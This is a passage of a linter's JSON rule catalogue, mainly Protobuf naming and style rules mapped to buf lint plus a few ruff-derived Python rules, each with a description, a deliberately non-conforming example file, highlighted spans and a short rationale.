        "input": "syntax = \"proto3\";\n\npackage acme.v1;\n\nmessage Good {\n  string good_name = 1;\n  int32 field_2 = 2;\n  map<string, string> good_map = 3;\n  oneof good_choice {\n    string a = 4;\n  }\n}\n\nmessage bad_message {\n  string BadName = 1;\n  map<string, string> BadMap = 2;\n  oneof BadChoice {\n    string b = 3;\n    string C = 4;\n  }\n}\n\nenum bad_enum {\n  BAD_ENUM_UNSPECIFIED = 0;\n  Bad_Value = 1;\n}\n\nservice bad_service {\n  rpc bad_call(Good) returns (Good);\n}\n",
        "language": "protobuf",
        "other_lines": [
          14,
          15,
          16,
          17,
          19,
          25,
          28,
          29
        ],
        "spans": [
          {
            "column": 6,
            "length": 8,
            "line": 23
          }
        ]
      },
      "fix": null,
      "id": "enum-pascal-case",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "ENUM_PASCAL_CASE",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#enum_pascal_case"
        }
      ],
      "why": "The Protobuf style guide names types in PascalCase, and the generated code of most languages uses the name as a type name, where another form reads as something else.\n\nTo fix, rename to PascalCase."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an enum value that does not start with the name of the enum in UPPER_SNAKE_CASE and an underscore (`COLOR_RED` in `Color`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "syntax = \"proto2\";\n\npackage acme.v1;\n\nenum Good {\n  GOOD_UNSPECIFIED = 0;\n  GOOD_ONE = 1;\n}\n\nenum FirstNotZero {\n  FIRST_NOT_ZERO_ONE = 1;\n  FIRST_NOT_ZERO_UNSPECIFIED = 0;\n}\n\nenum NoSuffix {\n  NO_SUFFIX_NONE = 0;\n  NO_SUFFIX_ONE = 1;\n}\n\nenum HTTPCode {\n  HTTP_CODE_UNSPECIFIED = 0;\n  OTHER_PREFIX = 1;\n}\n\nenum Aliased {\n  option allow_alias = true;\n  ALIASED_UNSPECIFIED = 0;\n  ALIASED_NONE = 0;\n}\n",
        "language": "protobuf",
        "other_lines": [
          11,
          16,
          26,
          28
        ],
        "spans": [
          {
            "column": 3,
            "length": 12,
            "line": 22
          }
        ]
      },
      "fix": null,
      "id": "enum-value-prefix",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "ENUM_VALUE_PREFIX",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#enum_value_prefix"
        }
      ],
      "why": "Enum values are scoped to the enclosing message or file, not to the enum, as in C++. Two enums in one scope with a value `RED` collide, and the prefix prevents it.\n\nTo fix, add the prefix to the value."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an enum value name that is not UPPER_SNAKE_CASE.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "syntax = \"proto3\";\n\npackage acme.v1;\n\nmessage Good {\n  string good_name = 1;\n  int32 field_2 = 2;\n  map<string, string> good_map = 3;\n  oneof good_choice {\n    string a = 4;\n  }\n}\n\nmessage bad_message {\n  string BadName = 1;\n  map<string, string> BadMap = 2;\n  oneof BadChoice {\n    string b = 3;\n    string C = 4;\n  }\n}\n\nenum bad_enum {\n  BAD_ENUM_UNSPECIFIED = 0;\n  Bad_Value = 1;\n}\n\nservice bad_service {\n  rpc bad_call(Good) returns (Good);\n}\n",
        "language": "protobuf",
        "other_lines": [
          14,
          15,
          16,
          17,
          19,
          23,
          28,
          29
        ],
        "spans": [
          {
            "column": 3,
            "length": 9,
            "line": 25
          }
        ]
      },
      "fix": null,
      "id": "enum-value-upper-snake-case",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "ENUM_VALUE_UPPER_SNAKE_CASE",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#enum_value_upper_snake_case"
        }
      ],
      "why": "The Protobuf style guide writes enum values in UPPER_SNAKE_CASE, as the generated code of many languages writes constants.\n\nTo fix, rename the value."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an enum value numbered 0 whose name does not end in `_UNSPECIFIED`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "syntax = \"proto2\";\n\npackage acme.v1;\n\nenum Good {\n  GOOD_UNSPECIFIED = 0;\n  GOOD_ONE = 1;\n}\n\nenum FirstNotZero {\n  FIRST_NOT_ZERO_ONE = 1;\n  FIRST_NOT_ZERO_UNSPECIFIED = 0;\n}\n\nenum NoSuffix {\n  NO_SUFFIX_NONE = 0;\n  NO_SUFFIX_ONE = 1;\n}\n\nenum HTTPCode {\n  HTTP_CODE_UNSPECIFIED = 0;\n  OTHER_PREFIX = 1;\n}\n\nenum Aliased {\n  option allow_alias = true;\n  ALIASED_UNSPECIFIED = 0;\n  ALIASED_NONE = 0;\n}\n",
        "language": "protobuf",
        "other_lines": [
          11,
          22,
          26
        ],
        "spans": [
          {
            "column": 3,
            "length": 14,
            "line": 16
          },
          {
            "column": 3,
            "length": 12,
            "line": 28
          }
        ]
      },
      "fix": null,
      "id": "enum-zero-value-suffix",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "ENUM_ZERO_VALUE_SUFFIX",
          "note": "The suffix is not configurable.",
          "partial": true,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#enum_zero_value_suffix"
        }
      ],
      "why": "The zero value is what a field has when it is not set, so its name should say \"nothing chosen\". A zero value named `ACTIVE` makes missing data look like a real choice.\n\nTo fix, name it `<ENUM>_UNSPECIFIED`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a field name that is not lower_snake_case.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "syntax = \"proto3\";\n\npackage acme.v1;\n\nmessage Good {\n  string good_name = 1;\n  int32 field_2 = 2;\n  map<string, string> good_map = 3;\n  oneof good_choice {\n    string a = 4;\n  }\n}\n\nmessage bad_message {\n  string BadName = 1;\n  map<string, string> BadMap = 2;\n  oneof BadChoice {\n    string b = 3;\n    string C = 4;\n  }\n}\n\nenum bad_enum {\n  BAD_ENUM_UNSPECIFIED = 0;\n  Bad_Value = 1;\n}\n\nservice bad_service {\n  rpc bad_call(Good) returns (Good);\n}\n",
        "language": "protobuf",
        "other_lines": [
          14,
          17,
          23,
          25,
          28,
          29
        ],
        "spans": [
          {
            "column": 10,
            "length": 7,
            "line": 15
          },
          {
            "column": 23,
            "length": 6,
            "line": 16
          },
          {
            "column": 12,
            "length": 1,
            "line": 19
          }
        ]
      },
      "fix": null,
      "id": "field-lower-snake-case",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "FIELD_LOWER_SNAKE_CASE",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#field_lower_snake_case"
        }
      ],
      "why": "The Protobuf style guide writes fields in lower_snake_case. Generators convert the name to camel case or leave it as it is, and the JSON mapping is derived from it, so a field that is written in another form maps to an unexpected name.\n\nTo fix, rename the field."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a proto2 `required` field.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import public \"google/protobuf/empty.proto\";\n\nmessage Old {\n  required string name = 1;\n}\n",
        "language": "protobuf",
        "other_lines": [
          1
        ],
        "spans": [
          {
            "column": 3,
            "length": 25,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "field-not-required",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "FIELD_NOT_REQUIRED",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#field_not_required"
        }
      ],
      "why": "A required field can never be removed or made optional without breaking every reader and writer that was built before the change: an old reader rejects messages without it. Protobuf's own advice is to avoid `required`.\n\nTo fix, make it `optional` and check for it in the code."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a file whose name (without `.proto`) is not lower_snake_case.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import public \"google/protobuf/empty.proto\";\n\nmessage Old {\n  required string name = 1;\n}\n",
        "language": "protobuf",
        "other_lines": [
          4
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "file-lower-snake-case",
      "languages": [
        "protobuf"
      ],
      "options": [
        {
          "default": "^[a-z0-9]+(?:_[a-z0-9]+)*$",
          "description": "Regular expression the file name without its extension must match; empty: not checked.",
          "name": "pattern",
          "type": "string"
        }
      ],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "FILE_LOWER_SNAKE_CASE",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#file_lower_snake_case"
        }
      ],
      "why": "The Protobuf style guide names files in lower_snake_case, and generated file names and import paths derive from it. A different style gives different names in each language.\n\nTo fix, rename the file and update the imports."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports `import public`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import public \"google/protobuf/empty.proto\";\n\nmessage Old {\n  required string name = 1;\n}\n",
        "language": "protobuf",
        "other_lines": [
          4
        ],
        "spans": [
          {
            "column": 1,
            "length": 44,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "import-no-public",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "IMPORT_NO_PUBLIC",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#import_no_public"
        }
      ],
      "why": "A public import makes the imported file's names visible to every file that imports this one. The dependency spreads without being written down, and a change in the imported file breaks files that never mention it.\n\nTo fix, import the files where their names are used."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an import of a file none of whose names the file uses. A public import is left alone. It needs the imported files, found from the folder with the module's `buf.yaml`; an import it cannot read is not reported.",
      "fix": null,
      "id": "import-used",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "IMPORT_USED",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#import_used"
        }
      ],
      "why": "An import that nothing uses makes the file depend on another one for no reason: a change there can break this file, and tools load it for nothing.\n\nTo fix, remove the import."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a message name that is not PascalCase.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "syntax = \"proto3\";\n\npackage acme.v1;\n\nmessage Good {\n  string good_name = 1;\n  int32 field_2 = 2;\n  map<string, string> good_map = 3;\n  oneof good_choice {\n    string a = 4;\n  }\n}\n\nmessage bad_message {\n  string BadName = 1;\n  map<string, string> BadMap = 2;\n  oneof BadChoice {\n    string b = 3;\n    string C = 4;\n  }\n}\n\nenum bad_enum {\n  BAD_ENUM_UNSPECIFIED = 0;\n  Bad_Value = 1;\n}\n\nservice bad_service {\n  rpc bad_call(Good) returns (Good);\n}\n",
        "language": "protobuf",
        "other_lines": [
          15,
          16,
          17,
          19,
          23,
          25,
          28,
          29
        ],
        "spans": [
          {
            "column": 9,
            "length": 11,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "message-pascal-case",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "MESSAGE_PASCAL_CASE",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#message_pascal_case"
        }
      ],
      "why": "The Protobuf style guide names messages in PascalCase, and the name becomes a class or type name in the generated code.\n\nTo fix, rename the message."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a oneof name that is not lower_snake_case.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "syntax = \"proto3\";\n\npackage acme.v1;\n\nmessage Good {\n  string good_name = 1;\n  int32 field_2 = 2;\n  map<string, string> good_map = 3;\n  oneof good_choice {\n    string a = 4;\n  }\n}\n\nmessage bad_message {\n  string BadName = 1;\n  map<string, string> BadMap = 2;\n  oneof BadChoice {\n    string b = 3;\n    string C = 4;\n  }\n}\n\nenum bad_enum {\n  BAD_ENUM_UNSPECIFIED = 0;\n  Bad_Value = 1;\n}\n\nservice bad_service {\n  rpc bad_call(Good) returns (Good);\n}\n",
        "language": "protobuf",
        "other_lines": [
          14,
          15,
          16,
          19,
          23,
          25,
          28,
          29
        ],
        "spans": [
          {
            "column": 9,
            "length": 9,
            "line": 17
          }
        ]
      },
      "fix": null,
      "id": "oneof-lower-snake-case",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "ONEOF_LOWER_SNAKE_CASE",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#oneof_lower_snake_case"
        }
      ],
      "why": "The Protobuf style guide writes oneof names as it does fields, in lower_snake_case, since the generators turn it into a property.\n\nTo fix, rename the oneof."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a file without a `package` statement.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import public \"google/protobuf/empty.proto\";\n\nmessage Old {\n  required string name = 1;\n}\n",
        "language": "protobuf",
        "other_lines": [
          4
        ],
        "spans": [
          {
            "column": 1,
            "length": 6,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "package-defined",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "PACKAGE_DEFINED",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#package_defined"
        }
      ],
      "why": "Without a package every name is global, so two files from different projects that define `Order` collide, and the generated code puts the types in the default namespace.\n\nTo fix, add a `package` statement."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a package whose components are not lower_snake_case.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "syntax = \"proto3\";\n\npackage Acme.core;\n\nservice Thing {}\n",
        "language": "protobuf",
        "other_lines": [
          5
        ],
        "spans": [
          {
            "column": 9,
            "length": 9,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "package-lower-snake-case",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "PACKAGE_LOWER_SNAKE_CASE",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#package_lower_snake_case"
        }
      ],
      "why": "The Protobuf style guide writes packages in lower_snake_case, dot separated. Generators turn the package into namespaces or modules, and another form reads as something else there.\n\nTo fix, rename the package."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a package whose last component is not `v1`, `v1test...`, `v1alpha1`, `v1beta1` or `v1p1alpha1` (`v1beta` too).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "syntax = \"proto3\";\n\npackage Acme.core;\n\nservice Thing {}\n",
        "language": "protobuf",
        "other_lines": [
          5
        ],
        "spans": [
          {
            "column": 9,
            "length": 9,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "package-version-suffix",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "PACKAGE_VERSION_SUFFIX",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#package_version_suffix"
        }
      ],
      "why": "A version in the package lets an incompatible API live next to the old one under another name (`api.v2`) instead of breaking its users. Without it a breaking change has to be made in place.\n\nTo fix, add a version component, for example `acme.orders.v1`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an rpc name that is not PascalCase.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "syntax = \"proto3\";\n\npackage acme.v1;\n\nmessage Good {\n  string good_name = 1;\n  int32 field_2 = 2;\n  map<string, string> good_map = 3;\n  oneof good_choice {\n    string a = 4;\n  }\n}\n\nmessage bad_message {\n  string BadName = 1;\n  map<string, string> BadMap = 2;\n  oneof BadChoice {\n    string b = 3;\n    string C = 4;\n  }\n}\n\nenum bad_enum {\n  BAD_ENUM_UNSPECIFIED = 0;\n  Bad_Value = 1;\n}\n\nservice bad_service {\n  rpc bad_call(Good) returns (Good);\n}\n",
        "language": "protobuf",
        "other_lines": [
          14,
          15,
          16,
          17,
          19,
          23,
          25,
          28
        ],
        "spans": [
          {
            "column": 7,
            "length": 8,
            "line": 29
          }
        ]
      },
      "fix": null,
      "id": "rpc-pascal-case",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "RPC_PASCAL_CASE",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#rpc_pascal_case"
        }
      ],
      "why": "The Protobuf style guide names rpcs in PascalCase, and the name becomes a method name in the generated client and server code.\n\nTo fix, rename the rpc."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an rpc whose request or response type is also the request or response type of another rpc of the project.",
      "fix": null,
      "id": "rpc-request-response-unique",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "RPC_REQUEST_RESPONSE_UNIQUE",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#rpc_request_response"
        }
      ],
      "why": "A message that several rpcs share couples them: adding a field for one call changes the others, and the calls cannot evolve apart.\n\nTo fix, give each rpc its own request and response messages."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an rpc whose request type is not named `<Rpc>Request` or `<Service><Rpc>Request`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "syntax = \"proto3\";\n\npackage acme.v1;\n\nmessage GetRequest {}\nmessage GetResponse {}\nmessage Other {}\nmessage FooServiceListRequest {}\nmessage FooServiceListResponse {}\n\nservice FooService {\n  rpc Get(GetRequest) returns (GetResponse);\n  rpc List(FooServiceListRequest) returns (FooServiceListResponse);\n  rpc Put(Other) returns (Other);\n}\n",
        "language": "protobuf",
        "other_lines": [],
        "spans": [
          {
            "column": 11,
            "length": 5,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "rpc-request-standard-name",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "RPC_REQUEST_STANDARD_NAME",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#rpc_request_response"
        }
      ],
      "why": "A request type with the name of its rpc is not reused for another rpc. A shared type couples the two calls, and a change for one changes the other.\n\nTo fix, give each rpc its own request message with that name."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an rpc whose response type is not named `<Rpc>Response` or `<Service><Rpc>Response`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "syntax = \"proto3\";\n\npackage acme.v1;\n\nmessage GetRequest {}\nmessage GetResponse {}\nmessage Other {}\nmessage FooServiceListRequest {}\nmessage FooServiceListResponse {}\n\nservice FooService {\n  rpc Get(GetRequest) returns (GetResponse);\n  rpc List(FooServiceListRequest) returns (FooServiceListResponse);\n  rpc Put(Other) returns (Other);\n}\n",
        "language": "protobuf",
        "other_lines": [],
        "spans": [
          {
            "column": 27,
            "length": 5,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "rpc-response-standard-name",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "RPC_RESPONSE_STANDARD_NAME",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#rpc_request_response"
        }
      ],
      "why": "A response type with the name of its rpc is not reused for another rpc. A shared type couples the two calls, and a change for one changes the other.\n\nTo fix, give each rpc its own response message with that name."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a service name that is not PascalCase.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "syntax = \"proto3\";\n\npackage acme.v1;\n\nmessage Good {\n  string good_name = 1;\n  int32 field_2 = 2;\n  map<string, string> good_map = 3;\n  oneof good_choice {\n    string a = 4;\n  }\n}\n\nmessage bad_message {\n  string BadName = 1;\n  map<string, string> BadMap = 2;\n  oneof BadChoice {\n    string b = 3;\n    string C = 4;\n  }\n}\n\nenum bad_enum {\n  BAD_ENUM_UNSPECIFIED = 0;\n  Bad_Value = 1;\n}\n\nservice bad_service {\n  rpc bad_call(Good) returns (Good);\n}\n",
        "language": "protobuf",
        "other_lines": [
          14,
          15,
          16,
          17,
          19,
          23,
          25,
          29
        ],
        "spans": [
          {
            "column": 9,
            "length": 11,
            "line": 28
          }
        ]
      },
      "fix": null,
      "id": "service-pascal-case",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "SERVICE_PASCAL_CASE",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#service_pascal_case"
        }
      ],
      "why": "The Protobuf style guide names services in PascalCase, and the name becomes a class name in the generated code.\n\nTo fix, rename the service."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a service whose name does not end in `Service`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "syntax = \"proto3\";\n\npackage Acme.core;\n\nservice Thing {}\n",
        "language": "protobuf",
        "other_lines": [
          3
        ],
        "spans": [
          {
            "column": 9,
            "length": 5,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "service-suffix",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "SERVICE_SUFFIX",
          "note": "The suffix is not configurable.",
          "partial": true,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#service_suffix"
        }
      ],
      "why": "The suffix tells a reader of the generated code, which has clients and servers of the service, that the name is a service. It also keeps the service from clashing with the message of the same name.\n\nTo fix, rename it `OrdersService`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a file without `syntax = ...;` or `edition = ...;`, which makes it proto2.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import public \"google/protobuf/empty.proto\";\n\nmessage Old {\n  required string name = 1;\n}\n",
        "language": "protobuf",
        "other_lines": [
          4
        ],
        "spans": [
          {
            "column": 1,
            "length": 6,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "syntax-specified",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "SYNTAX_SPECIFIED",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#syntax_specified"
        }
      ],
      "why": "A file without the statement is proto2 by default. New files almost always mean proto3 or an edition, and with the default they get required fields and other rules that differ.\n\nTo fix, add `syntax = \"proto3\";` or an `edition`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a class named `l`, `O` or `I`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "\"\"\"Docstring: not code for E402.\"\"\"\nimport os\n__version__ = \"1\"\nx = 1\nimport sys\n\nbreak\ncontinue\nyield 1\nawait x\n\n\ndef f():\n    class A:\n        yield 1\n\n    try:\n        pass\n    except:\n        pass\n    except ValueError:\n        pass\n    print >> sys.stderr, \"x\"\n\n\ndef g(l: \"int\", O=1, *I):\n    l = 1\n    if x: pass\n    a = 1; b = 2;\n    return {\"k\": 1, \"k\": 2, x: 1, x: 2}\n\n\nclass I:\n    pass\n\n\ndef O():\n    pass\n\n\nfrom __future__ import division\n\n\nfrom __future__ import not_a_feature\n\n*a, *b = range(3)\n",
        "language": "python",
        "other_lines": [
          5,
          7,
          8,
          9,
          10,
          15,
          19,
          23,
          26,
          27,
          28,
          29,
          30,
          37,
          41,
          44,
          46
        ],
        "spans": [
          {
            "column": 7,
            "length": 1,
            "line": 33
          }
        ]
      },
      "fix": null,
      "id": "ambiguous-class-name",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "E742",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/E742/"
        }
      ],
      "why": "In many fonts `l` (lower case L), `I` (upper case i) and the digit `1` look alike, and so do `O` and `0`. A class with one of these names is hard to tell from a number or another name in `x = O()`.\n\nTo fix, give the class a name that says what it is."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a function or method named `l`, `O` or `I`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "\"\"\"Docstring: not code for E402.\"\"\"\nimport os\n__version__ = \"1\"\nx = 1\nimport sys\n\nbreak\ncontinue\nyield 1\nawait x\n\n\ndef f():\n    class A:\n        yield 1\n\n    try:\n        pass\n    except:\n        pass\n    except ValueError:\n        pass\n    print >> sys.stderr, \"x\"\n\n\ndef g(l: \"int\", O=1, *I):\n    l = 1\n    if x: pass\n    a = 1; b = 2;\n    return {\"k\": 1, \"k\": 2, x: 1, x: 2}\n\n\nclass I:\n    pass\n\n\ndef O():\n    pass\n\n\nfrom __future__ import division\n\n\nfrom __future__ import not_a_feature\n\n*a, *b = range(3)\n",
        "language": "python",
        "other_lines": [
          5,
          7,
          8,
          9,
          10,
          15,
          19,
          23,
          26,
          27,
          28,
          29,
          30,
          33,
          41,
          44,
          46
        ],
        "spans": [
          {
            "column": 5,
            "length": 1,
            "line": 37
          }
        ]
      },
      "fix": null,
      "id": "ambiguous-function-name",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "E743",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/E743/"
        }
      ],
      "why": "In many fonts `l` (lower case L), `I` (upper case i) and the digit `1` look alike, and so do `O` and `0`. A call such as `l(x)` or `O(x)` is easy to misread as an expression with a number.\n\nTo fix, give the function a name that says what it does."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a variable, parameter or `global` name that is `l`, `O` or `I`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "\"\"\"Docstring: not code for E402.\"\"\"\nimport os\n__version__ = \"1\"\nx = 1\nimport sys\n\nbreak\ncontinue\nyield 1\nawait x\n\n\ndef f():\n    class A:\n        yield 1\n\n    try:\n        pass\n    except:\n        pass\n    except ValueError:\n        pass\n    print >> sys.stderr, \"x\"\n\n\ndef g(l: \"int\", O=1, *I):\n    l = 1\n    if x: pass\n    a = 1; b = 2;\n    return {\"k\": 1, \"k\": 2, x: 1, x: 2}\n\n\nclass I:\n    pass\n\n\ndef O():\n    pass\n\n\nfrom __future__ import division\n\n\nfrom __future__ import not_a_feature\n\n*a, *b = range(3)\n",
        "language": "python",
        "other_lines": [
          5,
          7,
          8,
          9,
          10,
          15,
          19,
          23,
          28,
          29,
          30,
          33,
          37,
          41,
          44,
          46
        ],
        "spans": [
          {
            "column": 7,
            "length": 1,
            "line": 26
          },
          {
            "column": 17,
            "length": 1,
            "line": 26
          },
          {
            "column": 23,
            "length": 1,
            "line": 26
          },
          {
            "column": 5,
            "length": 1,
            "line": 27
          }
        ]
      },
      "fix": null,
      "id": "ambiguous-variable-name",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "E741",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/E741/"
        }
      ],
      "why": "In many fonts `l` (lower case L), `I` (upper case i) and the digit `1` look alike, and so do `O` and `0`. In `l = O + 1` a reader cannot tell the names from the numbers.\n\nTo fix, rename the variable."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `__eq__` or `__ne__` method whose second parameter is annotated `Any`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "from typing import Union\nx: Union[int, str]\n\nfrom typing import Optional\nx: Optional[int]\n\nfrom typing import List\nx: List[int]\n\nfrom typing import Generator\nx: Generator[int, None, None]\n\ndef f(x: \"int\"):\n    pass\n\nfrom typing import TypeAlias\nX: TypeAlias = int\n\nfrom typing import Generic, TypeVar\nT = TypeVar(\"T\")\nclass A(Generic[T]):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\ndef f(x: T) -> T:\n    return x\n\ndef g() -> T:\n    pass\n\nimport datetime\nx = datetime.timezone.utc\n\nfrom typing_extensions import Self\n\nimport sys\nif sys.version_info >= (3, 8):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\nclass A:\n    def f(self: T) -> T:\n        return self\n\nfrom typing import Any\nclass A:\n    def __eq__(self, other: Any) -> bool:\n        return True\n\nfrom typing import TypeVar\nT = TypeVar(\"T\", covariant=True)\n",
        "language": "python",
        "other_lines": [
          2,
          5,
          7,
          8,
          10,
          11,
          13,
          17,
          21,
          26,
          33,
          35,
          38,
          43,
          44,
          48,
          53
        ],
        "spans": [
          {
            "column": 29,
            "length": 3,
            "line": 49
          }
        ]
      },
      "fix": null,
      "id": "any-eq-parameter",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "PYI032",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/PYI032/"
        }
      ],
      "why": "Python calls `__eq__` with any object on the right, so the accurate type is `object`. With `Any` a type checker accepts `other.value` without a check and the method fails at run time on a value of another type.\n\nTo fix, annotate `other: object` and check its type before using it."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports an `assert` whose test is the literal `False`, with or without a message.",
      "example": {
        "config": null,
        "fixed": null,
